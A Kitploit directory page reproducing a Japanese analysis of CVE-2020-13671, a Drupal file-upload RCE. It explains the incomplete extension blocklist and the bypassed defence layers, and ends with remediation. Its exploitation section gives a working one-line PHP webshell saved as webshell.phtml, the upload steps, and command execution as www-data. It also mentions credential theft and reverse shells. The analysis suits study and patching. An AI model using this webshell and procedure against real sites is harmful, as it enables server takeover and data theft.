Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-13671-old — CVE-2020-13671 - ファイルアップロードを介したDrupal RCE脆弱性の解析とPoC | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2020-13671-old
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHubdungsocool/cve-2020-13671-old

CVE-2020-13671-old

CVE-2020-13671 - ファイルアップロードを介したDrupal RCE脆弱性の解析とPoC

リポジトリを見る
3日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-13671

ファイルアップロードによるRCE — Drupal Core

ソフトウェア: Drupal Core 8.7.5 (影響を受けるバージョン: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (高)
CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード
CISA KEV: はい — 既知の悪用済み脆弱性
アドバイザリ: SA-CORE-2020-012


Drupalとは

Drupalは、PHPで書かれたオープンソースのCMS(コンテンツ管理システム)です。WordPressやJoomlaに似ていますが、エンタープライズサイトや多言語プラットフォームなど、より複雑なシステムの構築に向いています。Drupalはモジュール式アーキテクチャを採用しており、利用可能なモジュールの有効化/無効化や、コミュニティ製の追加モジュールのインストールによって機能を拡張できます。

どのCMSにもある基本的な機能の1つは、ユーザーによるファイルのアップロードです — プロフィール画像、添付文書、記事内の添付ファイルなど。Drupalはこれらのファイルをsites/default/files/ディレクトリに保存し、Webサーバー(ApacheやNginx)を通じて直接配信します。

⇒ これは明確な攻撃対象領域を生み出します。攻撃者がPHPファイルをそのディレクトリにアップロードできた場合、Webサーバーは受信リクエストでアクセスされたときにそれを実行します。

これを防ぐため、Drupalは複数の防御層を構築しています。ファイル拡張子の検証、危険なファイルのリネーム、アップロードディレクトリでスクリプト実行をブロックする.htaccessの配置などです。しかしバージョン8.7.5では、攻撃者はこれらの層に存在するまさにその盲点を突きます。

悪用条件

この脆弱性の悪用には、ファイルアップロード権限を持つアカウントが必要です。Drupal 8.7.5のデフォルトでは、通常ユーザー(認証済みユーザー)はコンテンツの閲覧とコメント投稿の権限のみを持ち、記事の作成やファイルアップロードの権限はありません。

アカウント悪用可能?説明
管理者はいフルアップロード権限
編集者 / コンテンツ作成者はい管理者が「コンテンツ作成」権限とアップロード権限を付与した場合
認証済みユーザー (デフォルト)いいえデフォルトではコンテンツ作成やアップロードの権限なし
匿名ユーザー (未ログイン)いいえアップロード権限なし

ただし、実際には多くのDrupalサイトが一般ユーザーにコンテンツ作成権限を付与しています(フォーラム、コミュニティブログ、記事投稿を許可するニュースサイトなど)。その場合、攻撃者はアカウントを登録するだけで悪用できます。

攻撃フロー:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

根本原因 ( ROOT CAUSE )

core/modules/file/file.moduleには、どのファイルが実行可能とみなされるかを決定する正規表現が1つあります。

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

この正規表現は、7つの拡張子(phar、php、pl、py、cgi、asp、js)を列挙しています。このリストに一致する拡張子を持つファイルには、Drupalが自動的に.txtを末尾に付加し、実行能力を無効化します。

しかし、PHPエンジンは.phpファイルだけを処理するわけではありません。Webサーバーの設定によっては、他の拡張子も認識・実行します。

拡張子意味正規表現に含まれる?
.phpPHP標準はい
.phtmlPHP代替テンプレートいいえ
.php5PHP 5ハンドラいいえ
.phtPHPテンプレートいいえ
.phpsPHPソースいいえ
.shtmlServer-Side Includesいいえ

PHP拡張子の5つのバリアントが正規表現から完全に欠落しています。つまり、shell.phtmlという名前のファイルがDrupalに送信されると → 正規表現が一致しない → リネームされない → 元の名前のままアップロードディレクトリに保存される → Webサーバーが.phtmlを認識してPHPとして実行する → 攻撃者はRCEを達成します。これが根本原因です。Drupalは危険な拡張子をブロックするためにブラックリストを使用していましたが、そのリストは不完全だったのです。

各防御層の分析

ユーザーがファイルをアップロードすると、Drupalは保存前にファイルを3つの検証関数に通します。以下は、.phtmlに対してこの3つすべてが失敗する理由の分析です。

レイヤー1 — file_munge_filename() (core/includes/file.inc)

目的: ファイル名の途中に位置する危険な拡張子を検出し、_を追記して無効化すること。この関数の動作:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

shell.phtmlの場合:

  • explodeは["shell", "phtml"]に分割します
  • shiftは"shell"を取り出し、["phtml"]が残ります
  • popは"phtml"を取り出し、[]が残ります
  • 中間の配列は空 → foreachは実行されません
  • "shell.phtml"をそのまま返します

ただし、ファイルが拡張子を1つしか持たない場合、この関数は介入しません。つまり、この関数は複数の拡張子を持つファイルを処理するためだけに設計されています。

レイヤー2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

これが主な防御層です。1015行目のコード:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

ファイル名が正規表現に一致した場合 → MIMEをtext/plainに変更し、末尾に.txtを追加します。

shell.phtmlの場合:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')は0を返します
  • 一致しない → ifブロックに入らない → ファイルは元の名前のまま残ります

したがって、この部分は危険なファイルをブロックするはずでしたが、正規表現が.phtmlの危険性を認識していないため、そのまま通過してしまいます。

レイヤー3 — アップロードディレクトリ内の.htaccess

Drupalはsites/default/files/に.htaccessファイルを配置します:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

php_flag engine offディレクティブは、ディレクトリ全体のPHPエンジンをオフにしますが、これはmod_php5にのみ適用されます。Drupal 8.7.5はPHP 7で動作するため、mod_php7がアクティブで、無効化されていません。

また、.htaccessには他にも3つの弱点があります:

  • Nginxは.htaccessを読みません — このファイルはNginxでは完全に効果がありません
  • Apacheが**AllowOverride None**で構成されている場合 → .htaccessは無視されます
  • mod_phpの代わりにPHP-FPMを使用しているサーバー → php_flagディレクティブは効果がありません

悪用

ステップ1 — ウェブシェルを作成

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

ステップ2 — ファイルをアップロード

アップロード権限を持つアカウントでDrupalにログイン → コンテンツ → コンテンツを追加 → 記事 → 画像フィールドでwebshell.phtmlを選択 → アップロード。

Drupalはファイルを受け入れ、リネームせず、元の名前のままsites/default/files/に保存します。

image.png

ステップ3 — ウェブシェルを実行

その後、whoamiでシェル呼び出しを実行します:

image.png

これで、www-dataとしてRCEを達成できました。

さらに認証情報を確認するためにテストを実行:

image.png

結果

攻撃者は、データベース認証情報を含むsettings.phpを読み取り、DB全体をダンプし、リバースシェルを仕込み、rootへの権限昇格を行うことができます。

修復策

正規表現を更新 — 欠落している5つの拡張子を追加:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

.htaccessを更新 — mod_php7の無効化を追加:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

このパッチは機能しますが、依然としてブラックリストに依存しています。将来、新しい拡張子(.php8、.phpt)が登場した場合は、正規表現を再度更新する必要があります。既知の安全な拡張子のみを許可するホワイトリスト方式の方が、より徹底した対策になるでしょう。

まとめ

脆弱なファイルcore/modules/file/file.module 28行目
根本原因正規表現のブラックリストに.phtml、.php5、.pht、.phps、.shtmlが欠落している
影響.phtmlをアップロード → サーバーが実行 → RCE
迂回された3つの防御層file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
パッチ正規表現に5つの拡張子を追加 + .htaccessでmod_php7を無効化
ツールをダウンロード